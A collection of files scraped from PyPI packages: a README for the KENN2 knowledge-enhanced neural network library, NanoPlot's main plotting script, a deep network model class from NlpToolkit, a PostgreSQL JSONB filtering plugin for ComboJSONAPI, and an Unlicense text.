# KENN: Knowledge Enhanced Neural Networks KENN2 (Knowledge Enhanced Neural Networks 2.0) is a library for Python 3 built on top of TensorFlow 2 that allows you to modify neural network models by providing logical knowledge in the form of a set of universally quantified FOL clauses. It does so by adding a new final layer, called **Knowledge Enhancer (KE)**, to the existing neural network. The KE changes the original predictions of the standard neural network enforcing the satisfaction of the knowledge. Additionally, it contains **clause weights**, learnable parameters which represent the strength of each clause. **NB:** version 1.0 of KENN was released for Python 2.7 and TensorFlow 1.x and it is available at [KENN v1.0](https://github.com/DanieleAlessandro/KENN). Notice that this version is not backward compatible. Additionally, this implementation of KENN can work with relational domains, meaning that one can use also binary predicates to express logical rules which involve the relationship between two objects. This is an implementation of the model presented in our paper: [Knowledge Enhanced Neural Networks](https://link.springer.com/chapter/10.1007/978-3-030-29908-8_43). If you use this software for academic research, please, cite our work using the following BibTeX: ``` @InProceedings{10.1007/978-3-030-29908-8_43, author="Daniele, Alessandro and Serafini, Luciano", editor="Nayak, Abhaya C. and Sharma, Alok", title="Knowledge Enhanced Neural Networks", booktitle="PRICAI 2019: Trends in Artificial Intelligence", year="2019", publisher="Springer International Publishing", address="Cham", pages="542--554", isbn="978-3-030-29908-8" } ``` ## Installation KENN can be installed using pip: ``` pip install KENN2 ``` ## Getting started: A simple model with Keras and KENN KENN 2.0 allows you to easily add KENN layers to Keras models. To add the knowledge to a keras model it is sufficient to add a new layer: ```python import tensorflow as tf from tensorflow.keras.models import Sequential from tensorflow.keras.layers import Dense # Import parser for the knowledge file from KENN2.parsers import unary_parser model = keras.Sequential([ Dense(100, activation="relu", name="layer1"), Dense(50, activation="relu", name="layer2"), # Last NN layer Dense(5, activation="linear", name="layer3"), # Added the Knowledge Enhancer unary_parser(’knowledge file path’, activation=tf.nn.sigmoid) ]) # Compile the model model.compile(optimizer=’adam’, loss=’mean squared error’) ``` ## Example explained In the previous example, we apply only two changes to the standard TensorFlow code. Following, the details. ### **1. Import a parser for the knowledge base.** This first change is trivial: we need to import the parser of the knwoledge: ```python from KENN2.parsers import unary_parser ``` ### **2. Add KENN layer** ```python unary_parser(’knowledge file path’,activation=tf.nn.sigmoid) ``` The `unary_parser` function takes as input the path of the file containing the logical constraints and the activation function to be used. It returns a Keras layer which can be stacked on top of a Keras model. Such layer updates the predictions based on the content of the knowledge base file. Following, an example of knowledge base file: ``` Dog,Cat,Animal,Car,Truck,Chair 1.5:nDog,Animal _:nCat,Animal 2.0:nDog,nCat _:nCar,Animal _:nAnimal,Dog,Cat ``` The first row contains a list of predicates separated with a comma with no spaces. Each predicate must start with a capital letter. The second row must be empty. The other rows contain the clauses. Each clause is in a separate row and must be written respecting this properties: - Logical disjunctions are represented with commas; - If a literal is negated, it must be preceded by the lowercase 'n'; - They must contain only predicates specified in the first row; - There shouldn't be spaces. Additionally, each clause must be preceded by a positive weight that represents the strength of the clause. More precisely, the weight could be a **numeric value** or an **underscore**: in the first case, the weight is fixed and determined by the specified value, in the second case the weight is learned during training. For example, the third line represents the clause <a href="https://www.codecogs.com/eqnedit.php?latex=\lnot&space;Dog&space;\lor&space;Animal" target="_blank"><img src="https://latex.codecogs.com/gif.latex?\lnot&space;Dog&space;\lor&space;Animal" title="\lnot Dog \lor Animal" /></a> and it tells us that a dog should also be an animal. In this case, the clause weight is fixed to the value 1.5. A more interesting clause is the last one, that tells us that in our domain only cats and dogs are animals. Moreover, the corresponding weight is learned and if the constraint is not satisfied in the training set, KENN learns to ignore it. ## Working with relational data KENN 2.0 provides extra features to work with relational data, meaning that it supports also clauses containing binary predicates. Typical cases of relational data can be a Citation Network of scientific publications or a Social Network: in those examples the binary predicates would be _Cite(x,y)_, and _Friend(x,y)_ respectively, which represent the edges of the graph. In the following, a very simple presentation of KENN for relational data. For a deeper explanation, please check [our tutorial](https://github.com/rmazzier/KENN-Relational-Tutorial/tree/main) on the CiteSeer dataset. Similarly to the previous case, the first step is to import a parser. This time the parser needs to read a knowledge file which contains binary predicates: ```python from KENN2.parsers import relational_parser ``` As before, the `relational_parser` is a function which returns a layer that injects the logic into the model. **N.B:** Currently, KENN is not compatible with Keras Sequential models. It can still be used without any issues using standard Tensorflow code. The content of the knowledge file is similar to the previous case, with some notable changes: In the previous case, the first row was a list of predicates. Now, there are two rows: the first containing the list of unary predicates, the second containing the binary predicates. The clauses are also split in two groups: the first group contains only unary predicates, the second both unary and binary predicates. The two groups are separated by a row containing the `>` symbol. Unary predicates are defined on a single variable (e.g. _Dog(x)_), binary predicates on two variables separated by a dot (e.g. _Friends(x.y)_). Following an example of a relational knowledge file: ``` Smoker,Cancer Friends _:nSmoker(x),Cancer(x) > _:nFriends(x.y),nSmoker(x),Smoker(y) ``` The first row specifies that there are two unary predicates: Smoker and Cancer. Second row specifies the binary predicates, which in this case is one: Friends. The first clause encodes the fact that a smoker also has cancer (note that the rules does not represent hard constraints) and the second, which contains also the binary predicate, expresses the idea that friends tend to have similar smoking habits. ## License Copyright (c) 2019, Daniele Alessandro, Mazzieri Riccardo, Serafini Luciano All rights reserved. Licensed under the BSD 3-Clause License.
PypiClean
/NanoPlot-1.41.6.tar.gz/NanoPlot-1.41.6/nanoplot/NanoPlot.py
from os import path import logging import nanomath import numpy as np from scipy import stats import nanoplot.utils as utils import nanoplot.report as report from nanoget import get_input from nanoplot.filteroptions import filter_and_transform_data from nanoplot.version import __version__ import nanoplotter import pickle import sys def main(): """ Organization function -setups logging -gets inputdata -calls plotting function """ settings, args = utils.get_args() try: utils.make_output_dir(args.outdir) utils.init_logs(args) # args.format = nanoplotter.check_valid_format(args.format) if args.pickle: datadf = pickle.load(open(args.pickle, "rb")) elif args.feather: from nanoget import combine_dfs from pandas import read_feather datadf = combine_dfs([read_feather(p) for p in args.feather], method="simple").rename( columns={"identities": "percentIdentity"} ) else: sources = { "fastq": args.fastq, "bam": args.bam, "cram": args.cram, "fastq_rich": args.fastq_rich, "fastq_minimal": args.fastq_minimal, "summary": args.summary, "fasta": args.fasta, "ubam": args.ubam, } datadf = get_input( source=[n for n, s in sources.items() if s][0], files=[f for f in sources.values() if f][0], threads=args.threads, readtype=args.readtype, combine="simple", barcoded=args.barcoded, huge=args.huge, keep_supp=not (args.no_supplementary), ) if args.store: pickle.dump(obj=datadf, file=open(settings["path"] + "NanoPlot-data.pickle", "wb")) if args.raw: datadf.to_csv( settings["path"] + "NanoPlot-data.tsv.gz", sep="\t", index=False, compression="gzip" ) settings["statsfile"] = [make_stats(datadf, settings, suffix="", tsv_stats=args.tsv_stats)] datadf, settings = filter_and_transform_data(datadf, settings) if settings["filtered"]: # Bool set when filter was applied in filter_and_transform_data() settings["statsfile"].append( make_stats( datadf[datadf["length_filter"]], settings, suffix="_post_filtering", tsv_stats=args.tsv_stats, ) ) if args.barcoded: main_path = settings["path"] for barc in list(datadf["barcode"].unique()): dfbarc = datadf[datadf["barcode"] == barc] if len(dfbarc) > 5: logging.info(f"Processing {barc}") settings["title"] = barc settings["path"] = path.join(args.outdir, args.prefix + barc + "_") plots = [report.BarcodeTitle(barc)] plots.extend(make_plots(dfbarc, settings)) make_report(plots, settings) else: sys.stderr.write(f"Found barcode {barc} less than 5x, ignoring...\n") logging.info(f"Found barcode {barc} less than 5 times, ignoring") settings["path"] = main_path else: plots = make_plots(datadf, settings) make_report(plots, settings) logging.info("Finished!") except Exception as e: logging.error(e, exc_info=True) print(f"\n\n\nIf you read this then NanoPlot {__version__} has crashed :-(") print("Please try updating NanoPlot and see if that helps...\n") print("If not, please report this issue at https://github.com/wdecoster/NanoPlot/issues") print("If you could include the log file that would be really helpful.") print("Thanks!\n\n\n") raise def make_stats(datadf, settings, suffix, tsv_stats=True): statsfile = settings["path"] + "NanoStats" + suffix + ".txt" stats_df = nanomath.write_stats(datadfs=[datadf], outputfile=statsfile, as_tsv=tsv_stats) logging.info("Calculated statistics") if settings["barcoded"]: barcodes = list(datadf["barcode"].unique()) statsfile = settings["path"] + "NanoStats_barcoded.txt" stats_df = nanomath.write_stats( datadfs=[datadf[datadf["barcode"] == b] for b in barcodes], outputfile=statsfile, names=barcodes, as_tsv=tsv_stats, ) return stats_df if tsv_stats else statsfile def make_plots(datadf, settings): """ Call plotting functions from nanoplotter settings["lengths_pointer"] is a column in the DataFrame specifying which lengths to use """ color = nanoplotter.check_valid_color(settings["color"]) colormap = nanoplotter.check_valid_colormap(settings["colormap"]) plotdict = {type: settings["plots"].count(type) for type in ["kde", "hex", "dot", "pauvre"]} if "hex" in settings["plots"]: print( "WARNING: hex as part of --plots has been deprecated and will be ignored. To get the hex output, rerun with --legacy hex." ) if settings["legacy"]: plotdict_legacy = {plot: settings["legacy"].count(plot) for plot in ["kde", "hex", "dot"]} else: plotdict_legacy = {} plots = [] subdf = utils.subsample_datasets(datadf) if settings["N50"]: n50 = nanomath.get_N50(np.sort(datadf["lengths"])) else: n50 = None plots.extend( nanoplotter.length_plots( array=datadf[datadf["length_filter"]]["lengths"].astype("uint64"), name="Read length", path=settings["path"], n50=n50, color=color, title=settings["title"], settings=settings, ) ) logging.info("Created length plots") if "quals" in datadf: plots.extend( nanoplotter.scatter( x=datadf[datadf["length_filter"]][settings["lengths_pointer"].replace("log_", "")], y=datadf[datadf["length_filter"]]["quals"], legacy=plotdict_legacy, names=["Read lengths", "Average read quality"], path=settings["path"] + "LengthvsQualityScatterPlot", color=color, colormap=colormap, plots=plotdict, title=settings["title"], settings=settings, ) ) if settings["logBool"]: plots.extend( nanoplotter.scatter( x=datadf[datadf["length_filter"]][settings["lengths_pointer"]], y=datadf[datadf["length_filter"]]["quals"], legacy=plotdict_legacy, names=["Read lengths", "Average read quality"], path=settings["path"] + "LengthvsQualityScatterPlot", color=color, colormap=colormap, plots=plotdict, log=True, title=settings["title"], settings=settings, ) ) logging.info("Created LengthvsQual plot") if "channelIDs" in datadf: plots.extend( nanoplotter.spatial_heatmap( array=datadf["channelIDs"], title=settings["title"], path=settings["path"] + "ActivityMap_ReadsPerChannel", colormap=colormap, settings=settings, ) ) logging.info("Created spatialheatmap for succesfull basecalls.") if "start_time" in datadf: plots.extend( nanoplotter.time_plots( df=datadf, subsampled_df=subdf, path=settings["path"], color=color, title=settings["title"], settings=settings, ) ) if settings["logBool"]: plots.extend( nanoplotter.time_plots( df=datadf, subsampled_df=subdf, path=settings["path"], color=color, title=settings["title"], log_length=True, settings=settings, ) ) logging.info("Created timeplots.") if "aligned_lengths" in datadf and "lengths" in datadf: plots.extend( nanoplotter.scatter( x=datadf[datadf["length_filter"]]["aligned_lengths"], y=datadf[datadf["length_filter"]]["lengths"], legacy=plotdict_legacy, names=["Aligned read lengths", "Sequenced read length"], path=settings["path"] + "AlignedReadlengthvsSequencedReadLength", plots=plotdict, color=color, colormap=colormap, title=settings["title"], settings=settings, ) ) logging.info("Created AlignedLength vs Length plot.") if "mapQ" in datadf and "quals" in datadf: plots.extend( nanoplotter.scatter( x=datadf["mapQ"], y=datadf["quals"], legacy=plotdict_legacy, names=["Read mapping quality", "Average basecall quality"], path=settings["path"] + "MappingQualityvsAverageBaseQuality", color=color, colormap=colormap, plots=plotdict, title=settings["title"], settings=settings, ) ) logging.info("Created MapQvsBaseQ plot.") plots.extend( nanoplotter.scatter( x=datadf[datadf["length_filter"]][settings["lengths_pointer"].replace("log_", "")], y=datadf[datadf["length_filter"]]["mapQ"], legacy=plotdict_legacy, names=["Read length", "Read mapping quality"], path=settings["path"] + "MappingQualityvsReadLength", color=color, colormap=colormap, plots=plotdict, title=settings["title"], settings=settings, ) ) if settings["logBool"]: plots.extend( nanoplotter.scatter( x=datadf[datadf["length_filter"]][settings["lengths_pointer"]], y=datadf[datadf["length_filter"]]["mapQ"], legacy=plotdict_legacy, names=["Read length", "Read mapping quality"], path=settings["path"] + "MappingQualityvsReadLength", color=color, colormap=colormap, plots=plotdict, log=True, title=settings["title"], settings=settings, ) ) logging.info("Created Mapping quality vs read length plot.") if "percentIdentity" in datadf: minPID = np.percentile(datadf["percentIdentity"], 1) if "aligned_quals" in datadf: plots.extend( nanoplotter.scatter( x=datadf["percentIdentity"], y=datadf["aligned_quals"], legacy=plotdict_legacy, names=["Percent identity", "Average Base Quality"], path=settings["path"] + "PercentIdentityvsAverageBaseQuality", color=color, colormap=colormap, plots=plotdict, stat=stats.pearsonr if not settings["hide_stats"] else None, minvalx=minPID, title=settings["title"], settings=settings, ) ) logging.info("Created Percent ID vs Base quality plot.") plots.extend( nanoplotter.scatter( x=datadf[datadf["length_filter"]][settings["lengths_pointer"].replace("log_", "")], y=datadf[datadf["length_filter"]]["percentIdentity"], legacy=plotdict_legacy, names=["Aligned read length", "Percent identity"], path=settings["path"] + "PercentIdentityvsAlignedReadLength", color=color, colormap=colormap, plots=plotdict, stat=stats.pearsonr if not settings["hide_stats"] else None, minvaly=minPID, title=settings["title"], settings=settings, ) ) if settings["logBool"]: plots.extend( nanoplotter.scatter( x=datadf[datadf["length_filter"]][settings["lengths_pointer"]], y=datadf[datadf["length_filter"]]["percentIdentity"], legacy=plotdict_legacy, names=["Aligned read length", "Percent identity"], path=settings["path"] + "PercentIdentityvsAlignedReadLength", color=color, colormap=colormap, plots=plotdict, stat=stats.pearsonr if not settings["hide_stats"] else None, log=True, minvaly=minPID, title=settings["title"], settings=settings, ) ) plots.append( nanoplotter.dynamic_histogram( array=datadf["percentIdentity"], name="percent identity", path=settings["path"] + "PercentIdentityHistogram", title=settings["title"], color=color, settings=settings, ) ) logging.info("Created Percent ID vs Length plot") return plots def make_report(plots, settings): """ Creates a fat html report based on the previously created files plots is a list of Plot objects defined by a path and title statsfile is the file to which the stats have been saved, which is parsed to a table (rather dodgy) or nicely if it's a pandas/tsv """ logging.info("Writing html report.") html_content = [ '<body class="grid">', report.html_toc(plots, filtered=settings["filtered"]), report.html_stats(settings), report.html_plots(plots), report.run_info(settings) if settings["info_in_report"] else "", "</main></body></html>", ] with open(settings["path"] + "NanoPlot-report.html", "w") as html_file: html_file.write(report.html_head + "\n".join(html_content)) if __name__ == "__main__": main()
PypiClean
/NlpToolkit-Classification-1.0.16.tar.gz/NlpToolkit-Classification-1.0.16/Classification/Model/DeepNetworkModel.py
from Classification.InstanceList.InstanceList import InstanceList from Classification.Model.NeuralNetworkModel import NeuralNetworkModel from Classification.Parameter.ActivationFunction import ActivationFunction from Classification.Parameter.DeepNetworkParameter import DeepNetworkParameter from Math.Matrix import Matrix from Math.Vector import Vector import copy from Classification.Performance.ClassificationPerformance import ClassificationPerformance class DeepNetworkModel(NeuralNetworkModel): __weights: list __hidden_layer_size: int __activation_function: ActivationFunction def constructor1(self, trainSet: InstanceList, validationSet: InstanceList, parameters: DeepNetworkParameter): """ Constructor that takes two InstanceList train set and validation set and DeepNetworkParameter as inputs. First it sets the class labels, their sizes as K and the size of the continuous attributes as d of given train set and allocates weights and sets the best weights. At each epoch, it shuffles the train set and loops through the each item of that train set, it multiplies the weights Matrix with input Vector than applies the sigmoid function and stores the result as hidden and add bias. Then updates weights and at the end it compares the performance of these weights with validation set. It updates the bestClassificationPerformance and bestWeights according to the current situation. At the end it updates the learning rate via etaDecrease value and finishes with clearing the weights. PARAMETERS ---------- trainSet : InstanceList InstanceList to be used as trainSet. validationSet : InstanceList InstanceList to be used as validationSet. parameters : DeepNetworkParameter DeepNetworkParameter input. """ super().__init__(trainSet) delta_weights = [] hidden = [] hidden_biased = [] self.__activation_function = parameters.getActivationFunction() self.__allocateWeights(parameters) best_weights = self.__setBestWeights() best_classification_performance = ClassificationPerformance(0.0) epoch = parameters.getEpoch() learning_rate = parameters.getLearningRate() for i in range(epoch): trainSet.shuffle(parameters.getSeed()) for j in range(trainSet.size()): self.createInputVector(trainSet.get(j)) hidden.clear() hidden_biased.clear() delta_weights.clear() for k in range(self.__hidden_layer_size): if k == 0: hidden.append(self.calculateHidden(self.x, self.__weights[k], self.__activation_function)) else: hidden.append(self.calculateHidden(hidden_biased[k - 1], self.__weights[k], self.__activation_function)) hidden_biased.append(hidden[k].biased()) r_minus_y = self.calculateRMinusY(trainSet.get(j), hidden_biased[self.__hidden_layer_size - 1], self.__weights[len(self.__weights) - 1]) delta_weights.insert(0, Matrix(r_minus_y, hidden_biased[self.__hidden_layer_size - 1])) for k in range(len(self.__weights) - 2, -1, -1): if k == len(self.__weights) - 2: tmp_h = self.__weights[k + 1].multiplyWithVectorFromLeft(r_minus_y) else: tmp_h = self.__weights[k + 1].multiplyWithVectorFromLeft(tmp_hidden) tmp_h.remove(0) if self.__activation_function == ActivationFunction.SIGMOID: one_minus_hidden = self.calculateOneMinusHidden(hidden[k]) activation_derivative = one_minus_hidden.elementProduct(hidden[k]) elif self.__activation_function == ActivationFunction.TANH: one = Vector(hidden[k].size(), 1.0) hidden[k].tanh() activation_derivative = one.difference(hidden[k].elementProduct(hidden[k])) elif self.__activation_function == ActivationFunction.RELU: hidden[k].reluDerivative() activation_derivative = hidden tmp_hidden = tmp_h.elementProduct(activation_derivative) if k == 0: delta_weights.insert(0, Matrix(tmp_hidden, self.x)) else: delta_weights.insert(0, Matrix(tmp_hidden, hidden_biased[k - 1])) for k in range(len(self.__weights)): delta_weights[k].multiplyWithConstant(learning_rate) self.__weights[k].add(delta_weights[k]) current_classification_performance = self.testClassifier(validationSet) if current_classification_performance.getAccuracy() > best_classification_performance.getAccuracy(): best_classification_performance = current_classification_performance best_weights = self.__setBestWeights() learning_rate *= parameters.getEtaDecrease() self.__weights.clear() for m in best_weights: self.__weights.append(m) def constructor2(self, fileName: str): inputFile = open(fileName, mode='r', encoding='utf-8') self.loadClassLabels(inputFile) self.__hidden_layer_size = int(inputFile.readline().strip()) self.__weights = list() for i in range(self.__hidden_layer_size + 1): self.__weights.append(self.loadMatrix(inputFile)) self.__activation_function = self.loadActivationFunction(inputFile) inputFile.close() def __init__(self, trainSet: object, validationSet: InstanceList = None, parameters: DeepNetworkParameter = None): if isinstance(trainSet, InstanceList): self.constructor1(trainSet, validationSet, parameters) elif isinstance(trainSet, str): super().__init__() self.constructor2(trainSet) def __allocateWeights(self, parameters: DeepNetworkParameter): """ The allocateWeights method takes DeepNetworkParameters as an input. First it adds random weights to the list of Matrix} weights' first layer. Then it loops through the layers and adds random weights till the last layer. At the end it adds random weights to the last layer and also sets the hiddenLayerSize value. PARAMETERS ---------- parameters : DeepNetworkParameter DeepNetworkParameter input. """ self.__weights = [] self.__weights.append(self.allocateLayerWeights(row=parameters.getHiddenNodes(0), column=self.d + 1, seed=parameters.getSeed())) for i in range(parameters.layerSize() - 1): self.__weights.append(self.allocateLayerWeights(row=parameters.getHiddenNodes(i + 1), column=parameters.getHiddenNodes(i) + 1, seed=parameters.getSeed())) self.__weights.append(self.allocateLayerWeights(row=self.K, column=parameters.getHiddenNodes(parameters.layerSize() - 1) + 1, seed=parameters.getSeed())) self.__hidden_layer_size = parameters.layerSize() def __setBestWeights(self) -> list: """ The setBestWeights method creates a list of Matrix as bestWeights and clones the values of weights list into this newly created list. RETURNS ------- list A list clones from the weights ArrayList. """ best_weights = [] for m in self.__weights: best_weights.append(copy.deepcopy(m)) return best_weights def calculateOutput(self): """ The calculateOutput method loops size of the weights times and calculate one hidden layer at a time and adds bias term. At the end it updates the output y value. """ hidden_biased = None for i in range(len(self.__weights) - 1): if i == 0: hidden = self.calculateHidden(self.x, self.__weights[i], self.__activation_function) else: hidden = self.calculateHidden(hidden_biased, self.__weights[i], self.__activation_function) hidden_biased = hidden.biased() self.y = self.__weights[len(self.__weights) - 1].multiplyWithVectorFromRight(hidden_biased)
PypiClean
/ComboJSONAPI-1.1.2.tar.gz/ComboJSONAPI-1.1.2/combojsonapi/postgresql_jsonb/plugin.py
import datetime from decimal import Decimal from typing import Any, Optional, Union, Dict, Type import sqlalchemy from sqlalchemy import cast, String, Integer, Boolean, DECIMAL, not_ from sqlalchemy.sql.operators import desc_op, asc_op from marshmallow import Schema, fields as ma_fields from flask_combo_jsonapi.schema import get_model_field from flask_combo_jsonapi.utils import SPLIT_REL from flask_combo_jsonapi.exceptions import InvalidFilters from flask_combo_jsonapi.plugin import BasePlugin from flask_combo_jsonapi.data_layers.shared import deserialize_field from combojsonapi.utils import Relationship from combojsonapi.postgresql_jsonb.schema import SchemaJSONB TYPE_MARSHMALLOW_FIELDS = Type[Union[ ma_fields.Email, ma_fields.Dict, ma_fields.List, ma_fields.Decimal, ma_fields.Url, ma_fields.DateTime, Any ]] TYPE_PYTHON = Type[Union[int, bool, str, bytes, dict, list, Decimal, datetime.datetime]] def is_seq_collection(obj): """ является ли переданный объект set, list, tuple :param obj: :return bool: """ return isinstance(obj, (list, set, tuple)) class PostgreSqlJSONB(BasePlugin): mapping_ma_field_to_type: Dict[TYPE_MARSHMALLOW_FIELDS, TYPE_PYTHON] = { ma_fields.Email: str, ma_fields.Dict: dict, ma_fields.List: list, ma_fields.Decimal: Decimal, ma_fields.Url: str, ma_fields.DateTime: datetime.datetime, } mapping_type_to_sql_type: Dict[TYPE_PYTHON, Any] = { str: String, bytes: String, Decimal: DECIMAL, int: Integer, bool: Boolean } def get_property_type( self, marshmallow_field: TYPE_MARSHMALLOW_FIELDS, schema: Optional[Schema] = None ) -> TYPE_PYTHON: if schema is not None: self.mapping_ma_field_to_type.update({ v: k for k, v in schema.TYPE_MAPPING.items() }) return self.mapping_ma_field_to_type[type(marshmallow_field)] def add_mapping_field_to_python_type(self, marshmallow_field: Any, type_python: TYPE_PYTHON) -> None: self.mapping_ma_field_to_type[marshmallow_field] = type_python def before_data_layers_sorting_alchemy_nested_resolve(self, self_nested: Any) -> Any: """ Вызывается до создания сортировки в функции Nested.resolve, если после выполнения вернёт None, то дальше продолжиться работа функции resolve, если вернёт какое либо значения отличное от None, То функция resolve завершается, а результат hook функции передаётся дальше в стеке вызова :param Nested self_nested: instance Nested :return: """ if SPLIT_REL in self_nested.sort_.get("field", ""): if self._isinstance_jsonb(self_nested.schema, self_nested.sort_["field"]): sort = self._create_sort( self_nested, marshmallow_field=self_nested.schema._declared_fields[self_nested.name], model_column=self_nested.column, order=self_nested.sort_["order"], ) return sort, [] def before_data_layers_filtering_alchemy_nested_resolve(self, self_nested: Any) -> Any: """ Проверяем, если фильтр по jsonb полю, то создаём фильтр и возвращаем результат, если фильтр по другому полю, то возвращаем None :param self_nested: :return: """ if not ({"or", "and", "not"} & set(self_nested.filter_)): if SPLIT_REL in self_nested.filter_.get("name", ""): if self._isinstance_jsonb(self_nested.schema, self_nested.filter_["name"]): filter, joins = self._create_filter( self_nested, marshmallow_field=self_nested.schema._declared_fields[self_nested.name], model_column=self_nested.column, operator=self_nested.filter_["op"], value=self_nested.value, ) return filter, joins @classmethod def _isinstance_jsonb(cls, schema: Schema, filter_name: str) -> bool: """ Определяем относится ли фильтр к relationship или к полю JSONB :param schema: :param filter_name: :return: """ fields = filter_name.split(SPLIT_REL) for i, i_field in enumerate(fields): if isinstance(getattr(schema._declared_fields[i_field], "schema", None), SchemaJSONB): if i == (len(fields) - 1): raise InvalidFilters(f"Invalid JSONB filter: {filter_name}") return True elif isinstance(schema._declared_fields[i_field], Relationship): schema = schema._declared_fields[i_field].schema else: return False def _create_sort(self, self_nested: Any, marshmallow_field, model_column, order): """ Create sqlalchemy sort :param Nested self_nested: :param marshmallow_field: :param model_column: column sqlalchemy :param str order: asc | desc :return: """ fields = self_nested.sort_["field"].split(SPLIT_REL) schema = getattr(marshmallow_field, "schema", None) if isinstance(marshmallow_field, Relationship): # If sorting by JSONB field of another model is in progress mapper = model_column.mapper.class_ sqlalchemy_relationship_name = get_model_field(schema, fields[1]) self_nested.sort_["field"] = SPLIT_REL.join(fields[1:]) marshmallow_field = marshmallow_field.schema._declared_fields[fields[1]] model_column = getattr(mapper, sqlalchemy_relationship_name) return self._create_sort(self_nested, marshmallow_field, model_column, order) elif not isinstance(schema, SchemaJSONB): raise InvalidFilters(f"Invalid JSONB sort: {SPLIT_REL.join(self_nested.fields)}") self_nested.sort_["field"] = SPLIT_REL.join(fields[:-1]) field_in_jsonb = fields[-1] try: for field in fields[1:]: marshmallow_field = marshmallow_field.schema._declared_fields[field] except KeyError as e: raise InvalidFilters(f'There is no "{e}" attribute in the "{fields[0]}" field.') if hasattr(marshmallow_field, f"_{order}_sql_sort_"): """ У marshmallow field может быть реализована своя логика создания сортировки для sqlalchemy для определённого типа ('asc', 'desc'). Чтобы реализовать свою логику создания сортировка для определённого оператора необходимо реализовать в классе поля методы (название метода строится по следующему принципу `_<тип сортировки>_sql_filter_`). Также такой метод должен принимать ряд параметров * marshmallow_field - объект класса поля marshmallow * model_column - объект класса поля sqlalchemy """ # All values between the first and last field will be the path to the desired value by which to sort, # so we write the path through "->" for field in fields[1:-1]: model_column = model_column.op("->")(field) model_column = model_column.op("->>")(field_in_jsonb) return getattr(marshmallow_field, f"_{order}_sql_sort_")( marshmallow_field=marshmallow_field, model_column=model_column ) property_type = self.get_property_type(marshmallow_field=marshmallow_field, schema=self_nested.schema) for field in fields[1:-1]: model_column = model_column.op("->")(field) extra_field = model_column.op("->>")(field_in_jsonb) sort = "" order_op = desc_op if order == "desc" else asc_op if property_type in self.mapping_type_to_sql_type: if sqlalchemy.__version__ >= "1.1": sort = order_op(extra_field.astext.cast(self.mapping_type_to_sql_type[property_type])) else: sort = order_op(extra_field.cast(self.mapping_type_to_sql_type[property_type])) return sort def _create_filter(self, self_nested: Any, marshmallow_field, model_column, operator, value): """ Create sqlalchemy filter :param Nested self_nested: :param marshmallow_field: :param model_column: column sqlalchemy :param operator: :param value: :return: """ fields = self_nested.filter_["name"].split(SPLIT_REL) field_in_jsonb = fields[-1] schema = getattr(marshmallow_field, "schema", None) if isinstance(marshmallow_field, Relationship): # If filtering by JSONB field of another model is in progress mapper = model_column.mapper.class_ sqlalchemy_relationship_name = get_model_field(schema, fields[1]) self_nested.filter_["name"] = SPLIT_REL.join(fields[1:]) marshmallow_field = marshmallow_field.schema._declared_fields[fields[1]] join_list = [[model_column]] model_column = getattr(mapper, sqlalchemy_relationship_name) filter, joins = self._create_filter(self_nested, marshmallow_field, model_column, operator, value) join_list += joins return filter, join_list elif not isinstance(schema, SchemaJSONB): raise InvalidFilters(f"Invalid JSONB filter: {SPLIT_REL.join(field_in_jsonb)}") self_nested.filter_["name"] = SPLIT_REL.join(fields[:-1]) try: for field in fields[1:]: marshmallow_field = marshmallow_field.schema._declared_fields[field] except KeyError as e: raise InvalidFilters(f'There is no "{e}" attribute in the "{fields[0]}" field.') if hasattr(marshmallow_field, f"_{operator}_sql_filter_"): """ У marshmallow field может быть реализована своя логика создания фильтра для sqlalchemy для определённого оператора. Чтобы реализовать свою логику создания фильтра для определённого оператора необходимо реализовать в классе поля методы (название метода строится по следующему принципу `_<тип оператора>_sql_filter_`). Также такой метод должен принимать ряд параметров * marshmallow_field - объект класса поля marshmallow * model_column - объект класса поля sqlalchemy * value - значения для фильтра * operator - сам оператор, например: "eq", "in"... """ for field in fields[1:-1]: model_column = model_column.op("->")(field) model_column = model_column.op("->>")(field_in_jsonb) return ( getattr(marshmallow_field, f"_{operator}_sql_filter_")( marshmallow_field=marshmallow_field, model_column=model_column, value=value, operator=self_nested.operator, ), [], ) # Нужно проводить валидацию и делать десериализацию значение указанных в фильтре, так как поля Enum # например выгружаются как 'name_value(str)', а в БД хранится как просто число value = deserialize_field(marshmallow_field, value) property_type = self.get_property_type(marshmallow_field=marshmallow_field, schema=self_nested.schema) for field in fields[1:-1]: model_column = model_column.op("->")(field) extra_field = model_column.op("->>")(field_in_jsonb) filter_ = "" if property_type in {bool, int, str, bytes, Decimal}: field = cast(extra_field, self.mapping_type_to_sql_type[property_type]) if value is None: filter_ = field.is_(None) else: filter_ = getattr(field, self_nested.operator)(value) elif property_type == list: filter_ = model_column.op("->")(field_in_jsonb).op("?")(value[0] if is_seq_collection(value) else value) if operator in ["notin", "notin_"]: filter_ = not_(filter_) return filter_, []
PypiClean
/LinkPython_extern-1.0.4a1-cp312-cp312-musllinux_1_1_x86_64.whl/LinkPython_extern-1.0.4a1.dist-info/LICENSE.md
This depends on [Link](https://github.com/ableton/link.git) and [pybind11](https://github.com/pybind/pybind11). Please mind the licenses of those libraries and their dependencies This is free and unencumbered software released into the public domain. Anyone is free to copy, modify, publish, use, compile, sell, or distribute this software, either in source code form or as a compiled binary, for any purpose, commercial or non-commercial, and by any means. In jurisdictions that recognize copyright laws, the author or authors of this software dedicate any and all copyright interest in the software to the public domain. We make this dedication for the benefit of the public at large and to the detriment of our heirs and successors. We intend this dedication to be an overt act of relinquishment in perpetuity of all present and future rights to this software under copyright law. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. For more information, please refer to <http://unlicense.org>
PypiClean
/BEAT_TEST-0.13.1.tar.gz/BEAT_TEST-0.13.1/econml/sklearn_extensions/ensemble.py
